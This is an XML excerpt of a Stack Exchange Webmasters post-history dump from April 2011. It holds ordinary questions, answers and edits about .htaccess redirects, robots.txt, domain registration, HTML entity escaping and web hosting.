  <row Id="28181" PostHistoryTypeId="3" PostId="12345" RevisionGUID="62d36943-de54-4a80-ae27-53191a88a241" CreationDate="2011-04-16T17:51:32.883" UserDisplayName="Andy" Text="&lt;video&gt;&lt;web-hosting&gt;" />
  <row Id="28182" PostHistoryTypeId="17" PostId="12345" RevisionGUID="b4edb26c-df55-4ccf-befe-b01f3e552e5b" CreationDate="2011-04-16T22:10:41.833" UserId="-1" Comment="from http://stackoverflow.com/questions/5688404/criteria-for-hosting-your-own-video-or-embed-third-party-player-youtube" Text="" />
  <row Id="28183" PostHistoryTypeId="17" PostId="12349" RevisionGUID="062b6260-5717-4a7a-9b16-dc307df9bb9e" CreationDate="2011-04-16T22:50:39.390" UserId="-1" Comment="from http://superuser.com/questions/271772/does-the-registration-of-a-country-name-like-spain-com-is-exclusive-to-the-govern/271781#271781" Text="" />
  <row Id="28184" PostHistoryTypeId="2" PostId="12349" RevisionGUID="231a8640-4013-471d-9b4b-97c89a4ddd52" CreationDate="2011-04-16T22:39:58.267" UserDisplayName="Xavierjazz" Text="I expect that if you can register it, you can own it, Are these names available?&#xD;&#xA;" />
  <row Id="28185" PostHistoryTypeId="2" PostId="12348" RevisionGUID="e6c0062a-4f3f-4a2d-9fba-fd0f01b8b6b7" CreationDate="2011-04-16T22:30:09.210" UserDisplayName="Punkis" Text="Can an individual to buy a domain name containing only the name of his country or those domains are available for registration only to the government? For example spain.com, france.net, etc." />
  <row Id="28186" PostHistoryTypeId="1" PostId="12348" RevisionGUID="e6c0062a-4f3f-4a2d-9fba-fd0f01b8b6b7" CreationDate="2011-04-16T22:30:09.210" UserDisplayName="Punkis" Text="Does the registration of a country name like spain.com is exclusive to the government?" />
  <row Id="28187" PostHistoryTypeId="3" PostId="12348" RevisionGUID="e6c0062a-4f3f-4a2d-9fba-fd0f01b8b6b7" CreationDate="2011-04-16T22:30:09.210" UserDisplayName="Punkis" Text="&lt;domains&gt;&lt;domain-registrar&gt;" />
  <row Id="28188" PostHistoryTypeId="17" PostId="12348" RevisionGUID="ceda9a75-3b77-4af9-9f7b-137cbc78fb14" CreationDate="2011-04-16T22:50:39.390" UserId="-1" Comment="from http://superuser.com/questions/271772/does-the-registration-of-a-country-name-like-spain-com-is-exclusive-to-the-govern" Text="" />
  <row Id="28189" PostHistoryTypeId="5" PostId="12005" RevisionGUID="c3986b03-5a92-41b8-b613-99802baa4dfe" CreationDate="2011-04-16T23:02:36.400" UserId="6746" Comment="Added more detail" Text="There are a few domains pointing towards the same server, and of course I need them all redirect to only one of them.&#xD;&#xA;&#xD;&#xA;Redirects work, but only for certain URLs.&#xD;&#xA;&#xD;&#xA;What works: http://www.domain.com, http://domain.com, domain.com/index.html, domain.com/index.php, , domain.com/nonExistentDirectory, and if I click in the menu the following URLs are also redirected correctly: domain.com/foo/bar, domain.com/foo/bar.html or .php or other extension.&#xD;&#xA;&#xD;&#xA;What doesn't work: domain.com/existentDirectory, domain.com/foo/bar (if I type the URL in the address bar).&#xD;&#xA;&#xD;&#xA;If anyone will have the time and skill and will to tell me where's the mistake, I'll be deeply grateful.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here's my .htaccess file:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    AddHandler x-httpd-php .html .htm&#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_gzip.c&gt;&#xD;&#xA;      mod_gzip_on Yes&#xD;&#xA;      mod_gzip_dechunk Yes&#xD;&#xA;      mod_gzip_item_include file \.(html?|txt|css|js|php|pl)$&#xD;&#xA;      mod_gzip_item_include handler ^cgi-script$&#xD;&#xA;      mod_gzip_item_include mime ^text/.*&#xD;&#xA;      mod_gzip_item_include mime ^application/x-javascript.*&#xD;&#xA;      mod_gzip_item_exclude mime ^image/.*&#xD;&#xA;      mod_gzip_item_exclude rspheader ^Content-Encoding:.*gzip.*&#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_expires.c&gt;&#xD;&#xA;      ExpiresActive On&#xD;&#xA;      ExpiresDefault &quot;access plus 1 seconds&quot;&#xD;&#xA;      ExpiresByType text/html &quot;access plus 1 seconds&quot;&#xD;&#xA;      ExpiresByType image/gif &quot;access plus 2592000 seconds&quot;&#xD;&#xA;      ExpiresByType image/jpeg &quot;access plus 2592000 seconds&quot;&#xD;&#xA;      ExpiresByType image/png &quot;access plus 2592000 seconds&quot;&#xD;&#xA;      ExpiresByType text/css &quot;access plus 2592000 seconds&quot;&#xD;&#xA;      ExpiresByType text/javascript &quot;access plus 216000 seconds&quot;&#xD;&#xA;      ExpiresByType application/x-javascript &quot;access plus 216000 seconds&quot;&#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_headers.c&gt;&#xD;&#xA;      &lt;filesMatch &quot;\\.(ico|pdf|flv|jpg|jpeg|png|gif|swf)$&quot;&gt;&#xD;&#xA;        Header set Cache-Control &quot;max-age=2592000, public&quot;&#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;      &lt;filesMatch &quot;\\.(css)$&quot;&gt;&#xD;&#xA;        Header set Cache-Control &quot;max-age=2592000, public&quot;&#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;      &lt;filesMatch &quot;\\.(js)$&quot;&gt;&#xD;&#xA;        Header set Cache-Control &quot;max-age=216000, private&quot;&#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;      &lt;filesMatch &quot;\\.(xml|txt)$&quot;&gt;&#xD;&#xA;        Header set Cache-Control &quot;max-age=216000, public, must-revalidate&quot;&#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;      &lt;filesMatch &quot;\\.(html|htm|php)$&quot;&gt;&#xD;&#xA;        Header set Cache-Control &quot;max-age=1, private, must-revalidate&quot;&#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_headers.c&gt;&#xD;&#xA;      Header unset ETag&#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    FileETag None&#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_headers.c&gt;&#xD;&#xA;      Header unset Last-Modified&#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    # BEGIN WordPress&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteBase /&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    &#xD;&#xA;    RewriteRule . /index.php [L]&#xD;&#xA;    &#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # END WordPress&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^foo\.com$ [OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www\.foo\.com$&#xD;&#xA;    RewriteRule (.*) http://domain.com/$1 [R=301,L,QSA]&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^foo1\.com$ [OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www\.foo1\.com$&#xD;&#xA;    RewriteRule (.*) http://domain.com/$1 [R=301,L,QSA]&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^foo2\.com$ [OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www\.foo2\.com$&#xD;&#xA;    RewriteRule (.*) http://domain.com/$1 [R=301,L,QSA]&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^foo3\.com$ [OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www\.foo3\.com$&#xD;&#xA;    RewriteRule (.*) http://domain.com/$1 [R=301,L,QSA]&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^foo8\.com$ [OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www\.foo8\.com$&#xD;&#xA;    RewriteRule (.*) http://domain.com/$1 [R=301,L,QSA]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thinking that the above version was overkill, I've also tried to redirect all the requests for domains different than the main on to be redirected to it like this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^domain\.com$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://domain.com [L,R=301]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is it also wrong? Because it doesn't work either!&#xD;&#xA;&#xD;&#xA;P.S. @Sodved I've tried that and it doesn't help (I comment here because I can't seem to be able to comment your answer.)&#xD;&#xA;Removing the following piece of code didn't solve the issue either, so the problem must be somewhere else: &#xD;&#xA;&#xD;&#xA;    # BEGIN WordPress&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteBase /&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    &#xD;&#xA;    RewriteRule . /index.php [L]&#xD;&#xA;    &#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # END WordPress&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;New details: using [this tool for checking the redirects][1] I got the following results for the URLs that are not redirected: &#xD;&#xA;&#xD;&#xA;&gt; Checked link:&#xD;&#xA;&gt; http://domain.com/aDirectory/&#xD;&#xA;&gt; &#xD;&#xA;&gt; Type of link: direct link&#xD;&#xA;&#xD;&#xA;(note the trailing slash above)&#xD;&#xA;and: &#xD;&#xA;&#xD;&#xA;&gt; Checked link:&#xD;&#xA;&gt; http://domain.com/aDirectory&#xD;&#xA;&gt; &#xD;&#xA;&gt; Type of redirect: 301 Moved&#xD;&#xA;&gt; Permanently&#xD;&#xA;&gt; &#xD;&#xA;&gt; Redirected to:&#xD;&#xA;&gt; http://domain.com/aDirectory/&#xD;&#xA;(no trailing slash here)&#xD;&#xA;&#xD;&#xA;I hope/suspect I'm getting closer to the cause of this behavior.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.internetofficer.com/seo-tool/redirect-check/" />
  <row Id="28190" PostHistoryTypeId="24" PostId="12005" RevisionGUID="c3986b03-5a92-41b8-b613-99802baa4dfe" CreationDate="2011-04-16T23:02:36.400" Comment="Proposed by 6746 approved by 1064 edit id of 129" />
  <row Id="28191" PostHistoryTypeId="2" PostId="12350" RevisionGUID="4f26a329-6458-4f43-8b4d-dc67e2cdfd83" CreationDate="2011-04-16T23:20:41.227" UserId="4064" Text="If you use nofollow you are not going to get penalized by robots, but you will lose pagerank, because nofollow'd links are dropped from pagerank distribution calculation. So always try to keep the amount of nofollow'd links as low as possible compared to dofollow'd links inside a page." />
  <row Id="28192" PostHistoryTypeId="2" PostId="12351" RevisionGUID="778be25b-470d-4e74-938f-c307f2e4dfaa" CreationDate="2011-04-16T23:24:51.273" UserId="1064" Text="1. Scan or license a copy of an image of crumpled white paper&#xD;&#xA;2. In your graphics editing software, copy *only* the shadows of black from the image (in Photoshop I use the *Select &gt; Color Range* feature with the darkest shade selected and medium fuzziness)&#xD;&#xA;3. Apply a threshold to the selection to ensure that only dark colors will be copied&#xD;&#xA;4. Paste the shades of black onto a transparent canvas and save as PNG-24 with transparency&#xD;&#xA;&#xD;&#xA;Examples:&#xD;&#xA;&#xD;&#xA;![Color examples][2]&#xD;&#xA;&#xD;&#xA;![PNG example][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/0PsJp.png&#xD;&#xA;  [2]: http://i.stack.imgur.com/BbZ3P.jpg" />
  <row Id="28193" PostHistoryTypeId="25" PostId="12348" RevisionGUID="1e2b9439-6ea8-4bd3-864c-f7d727478646" CreationDate="2011-04-17T00:09:17.500" Comment="http://twitter.com/#!/StackWebmasters/status/59408050297126912" />
  <row Id="28194" PostHistoryTypeId="2" PostId="12352" RevisionGUID="223bfe8b-db42-4228-98be-01c563b53eb5" CreationDate="2011-04-17T00:15:17.957" UserId="6669" Text="I have a website: http://46.105.30.3/&#xD;&#xA;&#xD;&#xA;And I'm trying to get testing it using the Fetch as Googlebot option in the Google Webmasters Tools.&#xD;&#xA;&#xD;&#xA;When I try it it returns `Denied by robots.txt`.&#xD;&#xA;&#xD;&#xA;My robots.txt contains:&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /js/&#xD;&#xA;    Disallow: /style/&#xD;&#xA;&#xD;&#xA;Any ideas why the Googlebot is denied access?" />
  <row Id="28195" PostHistoryTypeId="1" PostId="12352" RevisionGUID="223bfe8b-db42-4228-98be-01c563b53eb5" CreationDate="2011-04-17T00:15:17.957" UserId="6669" Text="Google Webmasters Tools: Denied by robots.txt" />
  <row Id="28196" PostHistoryTypeId="3" PostId="12352" RevisionGUID="223bfe8b-db42-4228-98be-01c563b53eb5" CreationDate="2011-04-17T00:15:17.957" UserId="6669" Text="&lt;google-webmaster-tools&gt;&lt;robots.txt&gt;" />
  <row Id="28197" PostHistoryTypeId="2" PostId="12353" RevisionGUID="49951282-a2da-4a75-9c5b-05a0b4aa0023" CreationDate="2011-04-17T00:42:34.283" UserId="6669" Text="I've used several different approaches for this problem in the past.&#xD;&#xA;&#xD;&#xA;The best one so far is:&#xD;&#xA;&#xD;&#xA;`#logos { zoom: 1; overflow: hidden; }`&#xD;&#xA;&#xD;&#xA;Basically just setting the container of the floats to `overflow: hidden` or `auto` fixes this behavior in most browsers.&#xD;&#xA;&#xD;&#xA;Of course this doesn't always work in IE (what else is new). That's what the `zoom: 1;` is for." />
  <row Id="28198" PostHistoryTypeId="2" PostId="12354" RevisionGUID="9de98e42-70e1-498e-a3f8-c9446a905fbb" CreationDate="2011-04-17T01:51:13.717" UserId="392" Text="I'm facing a pretty confusing issue with my DNN installation. I'm running 05.06.02 (144) on my own server, set up with child portals. Here's the issue: **whenever I try to edit a module by hovering over the arrow next to it to display the module action menu** (I believe that's what it's called), **the arrow turns into a spinning loading wheel icon, but the menu never loads.**&#xD;&#xA;&#xD;&#xA;I've checked this out with FireBug and I see a POST request being made to Default.aspx when I hover over the arrow, but nothing is returned. The problem started when I first installed this DNN setup - after installing it, I imported templates (with content) from my existing DNN setup (hosted on a shared hosting server), where everything worked.&#xD;&#xA;&#xD;&#xA;Here's what I've tried so far:&#xD;&#xA;&#xD;&#xA; - I first setup this DNN installation with version 05.06.01, but upgrading to 05.06.02 didn't fix it.&#xD;&#xA; - I tried the menu thing on the host portal and locally, but that didn't work either.&#xD;&#xA; - I've searched online, but haven't found any solutions, other than some probably-unrelated issues that contained suggestions to try changing the skin (but I can't upload a new skin without accessing the hover menu next to the Skin module!)&#xD;&#xA;&#xD;&#xA;Thoughts? What gives?" />
  <row Id="28199" PostHistoryTypeId="1" PostId="12354" RevisionGUID="9de98e42-70e1-498e-a3f8-c9446a905fbb" CreationDate="2011-04-17T01:51:13.717" UserId="392" Text="DotNetNuke module settings hover menu never loads" />
  <row Id="28200" PostHistoryTypeId="3" PostId="12354" RevisionGUID="9de98e42-70e1-498e-a3f8-c9446a905fbb" CreationDate="2011-04-17T01:51:13.717" UserId="392" Text="&lt;cms&gt;" />
  <row Id="28201" PostHistoryTypeId="17" PostId="12356" RevisionGUID="945aef49-1c9d-4229-8a7d-c821597f5ab1" CreationDate="2011-04-17T02:24:35.507" UserId="-1" Comment="from http://stackoverflow.com/questions/5690711/managed-hosting-for-java-websites/5690775#5690775" Text="" />
  <row Id="28202" PostHistoryTypeId="2" PostId="12356" RevisionGUID="eeb2e01e-02f3-4d6a-82c8-fa56a8f18df1" CreationDate="2011-04-17T01:07:18.427" UserId="6293" Text="I've had good experiences with my current host: &lt;a href=&quot;http://www.cheap-jsp-hosting.com/&quot;&gt;Java Web Hosting&lt;/a&gt;.  Good service when things go wrong (generally because of something I did) &amp; reliable servers.&#xD;&#xA;&#xD;&#xA;Disclaimer:  Java Web Hosting hosts 4 sites for me, free of charge.  They put no conditions on the hosting, but I figured they deserved a link from pages of my sites." />
  <row Id="28203" PostHistoryTypeId="2" PostId="12355" RevisionGUID="4d3443f4-67a3-4753-b1c6-bd54c847e959" CreationDate="2011-04-17T00:52:48.917" UserDisplayName="wrick" Text="What is a good managed hosting service for server side Java code which uses Tomcat servers? I want something that is like [Heroku][1] (for Ruby), [Gondor][2] (for Python), [no.de][3] (for node.js). I know there is Google App Engine out there but I am not a fan of the GAE - I want my plain-old tomcat server side code hosted in a clean, cheap, managed way like the aforementioned websites. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.heroku.com/&#xD;&#xA;  [2]: http://gondor.io&#xD;&#xA;  [3]: http://no.de" />
  <row Id="28204" PostHistoryTypeId="1" PostId="12355" RevisionGUID="4d3443f4-67a3-4753-b1c6-bd54c847e959" CreationDate="2011-04-17T00:52:48.917" UserDisplayName="wrick" Text="Managed hosting for Java websites?" />
  <row Id="28205" PostHistoryTypeId="3" PostId="12355" RevisionGUID="4d3443f4-67a3-4753-b1c6-bd54c847e959" CreationDate="2011-04-17T00:52:48.917" UserDisplayName="wrick" Text="&lt;java&gt;&lt;jsp&gt;&lt;web-hosting&gt;" />
  <row Id="28206" PostHistoryTypeId="17" PostId="12355" RevisionGUID="c1dd449f-6c9c-4a60-8d3d-86f106a4b524" CreationDate="2011-04-17T02:24:35.507" UserId="-1" Comment="from http://stackoverflow.com/questions/5690711/managed-hosting-for-java-websites" Text="" />
  <row Id="28207" PostHistoryTypeId="2" PostId="12357" RevisionGUID="dfa17d5e-22c9-4982-98e3-8038f05a2e5c" CreationDate="2011-04-17T02:55:39.007" UserId="4064" Text="Your robots.txt looks good. Did you have an old one which blocked robots? Did you unblocked them recently? Maybe GWMT have the old one in its cache and you should wait a little bit before it gets refreshed.&#xD;&#xA;Sign into GWMT goto Site Configuration -&gt; Crawler access. You can see your robots.txt there and test it." />
  <row Id="28208" PostHistoryTypeId="25" PostId="12355" RevisionGUID="5e2333dc-bfb1-4601-8415-a2570862d780" CreationDate="2011-04-17T03:09:17.680" Comment="http://twitter.com/#!/StackWebmasters/status/59453350026035200" />
  <row Id="28209" PostHistoryTypeId="5" PostId="12357" RevisionGUID="0c2693af-44cd-45dc-a6cf-7e1e102b8320" CreationDate="2011-04-17T03:11:52.827" UserId="4064" Comment="clarify" Text="Your robots.txt looks good. Did you have an old one which blocked robots? Did you unblocked them recently? Maybe GWMT have the old one in its cache and you should wait a little bit before it gets refreshed.&#xD;&#xA;Sign into GWMT goto Site Configuration -&gt; Crawler access. You can see your robots.txt there and last date googlebot grab it. You can test your robots file there too." />
  <row Id="28210" PostHistoryTypeId="2" PostId="12358" RevisionGUID="b1dc96a1-a230-46c9-be18-a1035a6f55cb" CreationDate="2011-04-17T03:35:10.513" UserId="6908" Text="I don't have comment privileges, or I would have left this as a comment on an earlier answer.&#xD;&#xA;&#xD;&#xA;DO NOT, I repeat, DO NOT escape an apostrophe in HTML using &#xD;&#xA;&#xD;&#xA;`&amp;apos;`&#xD;&#xA;&#xD;&#xA;This is not a valid HTML character entity reference.  It is an XML character entity reference.  While Firefox and Chrome, at least, will render the above as an apostrophe in an HTML document, Internet Explorer will not.  And it is following the standard when it refuses to do so.&#xD;&#xA;&#xD;&#xA;You may escape an apostrophe in HTML using&#xD;&#xA;&#xD;&#xA;`&amp;#39;`&#xD;&#xA;&#xD;&#xA;But I don't believe it is, in general, necessary.&#xD;&#xA;&#xD;&#xA;http://fishbowl.pastiche.org/2003/07/01/the_curse_of_apos/&#xD;&#xA;&#xD;&#xA;http://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references" />
  <row Id="28211" PostHistoryTypeId="2" PostId="12359" RevisionGUID="9f46c950-7b61-4518-8863-ab6fe7703883" CreationDate="2011-04-17T05:54:28.857" UserId="6911" Text="I have a list of about one million URLs that I would like fetched and would rather not run this process on my own web server. I am wondering if there are any commercial solutions to this - i.e. any services that will take my list of URLs and return the HTML for each (running it behind proxies, etc., if necessary). " />
  <row Id="28212" PostHistoryTypeId="1" PostId="12359" RevisionGUID="9f46c950-7b61-4518-8863-ab6fe7703883" CreationDate="2011-04-17T05:54:28.857" UserId="6911" Text="Web Host / Service to Fetch Batch of URLs" />
  <row Id="28213" PostHistoryTypeId="3" PostId="12359" RevisionGUID="9f46c950-7b61-4518-8863-ab6fe7703883" CreationDate="2011-04-17T05:54:28.857" UserId="6911" Text="&lt;web-hosting&gt;&lt;web&gt;&lt;web-services&gt;" />
  <row Id="28214" PostHistoryTypeId="2" PostId="12360" RevisionGUID="866a244f-c534-41e2-96a8-22187106e3aa" CreationDate="2011-04-17T05:54:45.093" UserId="6910" Text="Just wondering if there is any documentation out there that having share links to your content actually encourages and increases sharing of the content?" />
  <row Id="28215" PostHistoryTypeId="1" PostId="12360" RevisionGUID="866a244f-c534-41e2-96a8-22187106e3aa" CreationDate="2011-04-17T05:54:45.093" UserId="6910" Text="Is there any research or statistics that show adding share links to your site content areas increases sharing?" />
  <row Id="28216" PostHistoryTypeId="3" PostId="12360" RevisionGUID="866a244f-c534-41e2-96a8-22187106e3aa" CreationDate="2011-04-17T05:54:45.093" UserId="6910" Text="&lt;seo&gt;" />
  <row Id="28217" PostHistoryTypeId="25" PostId="12345" RevisionGUID="63ef6e7f-703c-4993-b59c-e52d4507010a" CreationDate="2011-04-17T06:09:17.687" Comment="http://twitter.com/#!/StackWebmasters/status/59498647439675392" />
  <row Id="28218" PostHistoryTypeId="6" PostId="12324" RevisionGUID="e36650d1-3cff-4e36-871f-5d6f1949641b" CreationDate="2011-04-17T07:14:15.390" UserId="4461" Comment="edited tags" Text="&lt;seo&gt;&lt;pagerank&gt;&lt;links&gt;&lt;nofollow&gt;" />
  <row Id="28219" PostHistoryTypeId="2" PostId="12361" RevisionGUID="ef72eea8-9465-4d6d-bdcf-7a8b4dd840c5" CreationDate="2011-04-17T07:29:50.323" UserId="6858" Text="I don't know of anything for websites, but I found this about email. Admittedly it's from a vendor selling share-to-social service, but it does have some stats:&#xD;&#xA;&#xD;&#xA;http://www.silverpop.com/news/press/share-to-social-performance.html" />
  <row Id="28225" PostHistoryTypeId="4" PostId="12335" RevisionGUID="7b1334e8-acac-4e02-9211-f07c078dda14" CreationDate="2011-04-17T09:10:03.630" UserId="6579" Comment="Spelling nazi" Text="Is it good practice to escape the Apostrophe ( ' ) character with its HTML entity &amp;#39; ?" />
  <row Id="28226" PostHistoryTypeId="24" PostId="12335" RevisionGUID="7b1334e8-acac-4e02-9211-f07c078dda14" CreationDate="2011-04-17T09:10:03.630" Comment="Proposed by 6579 approved by 1064 edit id of 130" />
  <row Id="28227" PostHistoryTypeId="5" PostId="12274" RevisionGUID="dca272b2-de8b-4d49-9aad-02fa70b47e07" CreationDate="2011-04-17T09:10:34.957" UserId="4786" Comment="dropped signature per FAQ, added ordered list, and fixed capital &quot;i&quot;" Text="We'd like to target our advertising to Virgin Mobile users.&#xD;&#xA;&#xD;&#xA;However, Virgin Mobile is actually on the T-Mobile network. So when we do a lookup of the IP address it reports T-Mobile.&#xD;&#xA;&#xD;&#xA;So this gives 2 problems:&#xD;&#xA;&#xD;&#xA; 1. No way to target Virgin Mobile&#xD;&#xA; 2. When we target T-Mobile we accidentally target Virgin Mobile users too.&#xD;&#xA;&#xD;&#xA;We actually have 2 separate sites for T-Mobile and Virgin Mobile - So is there any way we can make sure we send people to the right site?&#xD;&#xA;&#xD;&#xA;Also would appreciate it very much if anyone has any suggestions on other places for this discussion, I'm not entirely sure this is &quot;webmaster&quot; talk?  " />
  <row Id="28228" PostHistoryTypeId="24" PostId="12274" RevisionGUID="dca272b2-de8b-4d49-9aad-02fa70b47e07" CreationDate="2011-04-17T09:10:34.957" Comment="Proposed by 4786 approved by 1064 edit id of 126" />
  <row Id="28229" PostHistoryTypeId="5" PostId="11928" RevisionGUID="2c358a17-191c-4a99-92ca-cc0cd86edb55" CreationDate="2011-04-17T09:14:10.210" UserId="4786" Comment="added ordered list, removed signature per FAQ, fixed wording" Text="I would like to add &quot;Comments&quot; module to my online store.&#xD;&#xA;&#xD;&#xA;It's goal is to display external comments for any item from some other big players in this industry.&#xD;&#xA;&#xD;&#xA;This content will be translated to local languages (Russian or Ukrainian), that helps customers to choose the right item.&#xD;&#xA;&#xD;&#xA;So have some questions.&#xD;&#xA;&#xD;&#xA; 1. Is it legally? I mean that I use external unique content.&#xD;&#xA; 2. Can it decrease search rating for my site?" />
  <row Id="28230" PostHistoryTypeId="24" PostId="11928" RevisionGUID="2c358a17-191c-4a99-92ca-cc0cd86edb55" CreationDate="2011-04-17T09:14:10.210" Comment="Proposed by 4786 approved by -1 edit id of 127" />
  <row Id="28231" PostHistoryTypeId="5" PostId="11928" RevisionGUID="a5c6168c-80fc-4ce3-a124-312d6522ba1e" CreationDate="2011-04-17T09:14:10.693" UserId="1064" Comment="Missed &quot;So have some questions&quot; - updated" Text="I would like to add a &quot;Comments&quot; module to my online store to display external comments for an item; the comments will come from other big players in this industry.&#xD;&#xA;&#xD;&#xA;The comments will be localized (translated to Russian or Ukrainian) to help customers choose the right item.&#xD;&#xA;&#xD;&#xA;I have some questions:&#xD;&#xA;&#xD;&#xA; 1. Is it legal to use translated comments from other sites?&#xD;&#xA; 2. Will using this content adversely affect my site's search engine rankings?" />
  <row Id="28232" PostHistoryTypeId="4" PostId="11928" RevisionGUID="a5c6168c-80fc-4ce3-a124-312d6522ba1e" CreationDate="2011-04-17T09:14:10.693" UserId="1064" Comment="Missed &quot;So have some questions&quot; - updated" Text="Can I use translated versions of other sites' content?" />
  <row Id="28234" PostHistoryTypeId="5" PostId="12319" RevisionGUID="1bb1848d-d9aa-4c78-a292-467d026e74d5" CreationDate="2011-04-17T09:21:11.737" UserId="1064" Comment="Updated to reflect question revisions, typographical corrections" Text="&gt; Is it legal to use translated comments from other sites?&#xD;&#xA;&#xD;&#xA;Depends upon the terms and conditions set forth by the website whose content you are using. Most sites, by default, don't allow others to use their content without their permission. Other sites, like the Stack Exchange sites, are released under [a creative commons license][1].&#xD;&#xA;&#xD;&#xA;If the content you want to use is on sites which do not explicitly allow you to use their content, you cannot use it - but that doesn't mean you can't ask for permission.&#xD;&#xA;&#xD;&#xA;&gt; Will using this content adversely affect my site's search engine rankings?&#xD;&#xA;&#xD;&#xA;Google &quot;penalizes&quot; duplicate content by filtering out the duplicates and displaying only the original in its search results. It's not a penalty per sé: Google doesn't want the same content appearing multiple times in their search and they want to make sure the original publisher gets proper credit for their work. The worst thing that can happen would be for the pages that have duplicated content to fail to appear in search results.&#xD;&#xA;&#xD;&#xA;In your case, I believe the fact that you are translating the content to another language will prevent the content from being flagged as duplicate content. Yes, the content is the same in meaning, but in order to reach non-English audiences (assuming the original content is in English) it is to be expected that the content will be translated.&#xD;&#xA;&#xD;&#xA;If this were not the case, multilingual sites would fail to appear in search results because users would only be able to find content in one language.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://creativecommons.org/licenses/by-sa/3.0/" />
  <row Id="28235" PostHistoryTypeId="5" PostId="12258" RevisionGUID="378d68f3-8114-4e5c-baa1-16502a426c40" CreationDate="2011-04-17T09:21:36.510" UserId="4786" Comment="removed signature per faq" Text="A company I've been developing a web site for wants to keep their current domain, which is something like company.parentcompany.com. Because we wanted to use a different CMS, the parent company refused to support or even host it and asked us to pay for third-party hosting.&#xD;&#xA;&#xD;&#xA;Now that we've done that, they won't make an A record for the subdomain pointing at the new server, stating that it is a security risk. I'm not a DNS expert by any means, but this sounds like total BS to me. I've seen this discussed several times, but I've never seen anyone raise security issues. &#xD;&#xA;&#xD;&#xA;Can I fight this, or are they really correct?" />
  <row Id="28236" PostHistoryTypeId="24" PostId="12258" RevisionGUID="378d68f3-8114-4e5c-baa1-16502a426c40" CreationDate="2011-04-17T09:21:36.510" Comment="Proposed by 4786 approved by 1064 edit id of 128" />
  <row Id="28238" PostHistoryTypeId="2" PostId="12365" RevisionGUID="faaff063-7c60-46b9-aceb-f1ee3ed65f71" CreationDate="2011-04-17T09:30:08.223" UserId="1064" Text="A Linux virtual private server (some priced at less than $10/mo) can be used to complete this task with minimal configuration - see the [wget man page][1] for instructions if you choose to go this route.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/wget" />
  <row Id="28239" PostHistoryTypeId="2" PostId="12366" RevisionGUID="530e63ae-21db-4f8a-84e4-42547feb2618" CreationDate="2011-04-17T11:12:48.580" UserId="6917" Text="first I want to precise that I am not a webmaster and not even a programmer. I'm preparing a dissertation for my Master where I have, among other things, to analyse the visits of a website, from a file recording the past 10 years of activity of the site.&#xD;&#xA;&#xD;&#xA;What is the best but also easiest and possibly free tool that I can use from my laptop (not something to install on the server) that I can use?&#xD;&#xA;&#xD;&#xA;Thank you very much for any help" />
  <row Id="28240" PostHistoryTypeId="1" PostId="12366" RevisionGUID="530e63ae-21db-4f8a-84e4-42547feb2618" CreationDate="2011-04-17T11:12:48.580" UserId="6917" Text="desktop software for web analytics" />
  <row Id="28241" PostHistoryTypeId="3" PostId="12366" RevisionGUID="530e63ae-21db-4f8a-84e4-42547feb2618" CreationDate="2011-04-17T11:12:48.580" UserId="6917" Text="&lt;website-analytics-tools&gt;" />
